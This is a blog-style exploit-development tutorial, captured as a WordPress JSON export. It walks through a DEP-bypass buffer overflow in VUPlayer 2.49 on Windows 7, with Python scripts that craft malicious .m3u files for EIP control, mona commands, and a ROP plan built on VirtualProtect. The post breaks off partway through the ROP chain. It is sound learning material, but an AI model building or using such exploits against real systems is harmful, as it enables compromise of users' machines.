{"id":168,"date":"2022-01-24T21:24:07","date_gmt":"2022-01-24T20:24:07","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=168"},"modified":"2022-01-24T21:24:49","modified_gmt":"2022-01-24T20:24:49","slug":"rop-gadgets-virtualprotect","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2022\/01\/24\/rop-gadgets-virtualprotect\/","title":{"rendered":"ROP Gadgets: VirtualProtect()"},"content":{"rendered":"\n

We’ll work on VUPlayer 2.49 (Windows 7) – ‘.m3u’ Local Buffer Overflow (DEP Bypass) for this article<\/p>\n\n\n\n

Initial exploit v1: EIP Control<\/h3>\n\n\n\n
import sys
import struct
import os\u00a0

crash_file\u00a0= \"test.m3u\"\u00a0fuzz\u00a0= \"A\" * 1012
fuzz += \"B\" * 4
fuzz += \"C\" * (3000 - len(fuzz))\u00a0

file= open(crash_file, \"w\")
file.write(fuzz)
file.close()<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

Start the app and attach to Immunity<\/p>\n\n\n\n

Drag the m3u file on the app and see the EIP filled with 42424242<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Look for modules with ASLR disabled: !mona modules<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

We’ll choose one of the address: 0x10101008<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

The EIP points to RETN <\/p>\n\n\n\n

Set a breakpoint at 0x10101008 and reproduce the m3u file with the following script<\/p>\n\n\n\n

The exploit v2<\/h3>\n\n\n\n
import sys
import struct
import os\u00a0

crash_file\u00a0= \"vuplayer-dep.m3u\"\u00a0

fuzz\u00a0= \"A\" * 1012
fuzz += \"\\x08\\x10\\x10\\x10\" * 4
fuzz += \"C\" * (3000 - len(fuzz))\u00a0

file= open(crash_file, \"w\")
file.write(fuzz)
file.close()<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

We hit the breakpoint at the EIP RETN address<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

API Calls<\/h3>\n\n\n\n

To determine what API call pointers we have access to that we can use to disable DEP\u00a0, type the following command: !mona ropfunc.\u00a0<\/code><\/p>\n\n\n\n

Check out the results on ropfunc.txt.<\/p>\n\n\n\n

We’ll use VirtualProtect API call as it seems available in the results<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

VirtualProtect Function<\/h3>\n\n\n\n
BOOL WINAPI VirtualProtect(\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0=>\u00a0\u00a0\u00a0\u00a0A pointer to VirtualProtect()
\u00a0\u00a0_In_\u00a0\u00a0\u00a0LPVOID lpAddress,\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0=>\u00a0\u00a0\u00a0\u00a0Return Address
\u00a0\u00a0_In_\u00a0\u00a0\u00a0SIZE_T dwSize,\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0=>\u00a0\u00a0\u00a0\u00a0dwSize (0x201)
\u00a0\u00a0_In_\u00a0\u00a0\u00a0DWORD flNewProtect,\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0=>\u00a0\u00a0\u00a0\u00a0flNewProtect (0x40)
\u00a0\u00a0_Out_\u00a0\u00a0PDWORD lpflOldProtect\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0=>\u00a0\u00a0\u00a0\u00a0A writable pointer
);<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

* since we are working with the Stack, we’ll put the parameters in reverse order<\/p>\n\n\n\n

The plan:<\/h3>\n\n\n\n
# EAX 90909090 => Nop                                                
# ECX <writeable pointer> => lpflOldProtect                                 
# EDX 00000040 => flNewProtect                             
# EBX 00000201 => dwSize                                            
# ESP ???????? => Leave as is                                         
# EBP ???????? => Call to ESP (jmp, call, push,..)                
# ESI ???????? => PTR to VirtualProtect – DWORD PTR of 0x1060E25C
# EDI 10101008 => ROP-Nop same as EIP<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

EAX<\/h3>\n\n\n\n

First, start creating the rop.txt and rop_suggestions.txt files with the following command: <\/p>\n\n\n\n

!mona rop -m \"basswma,bassmidi,bass<\/code><\/p>\n\n\n\n

\n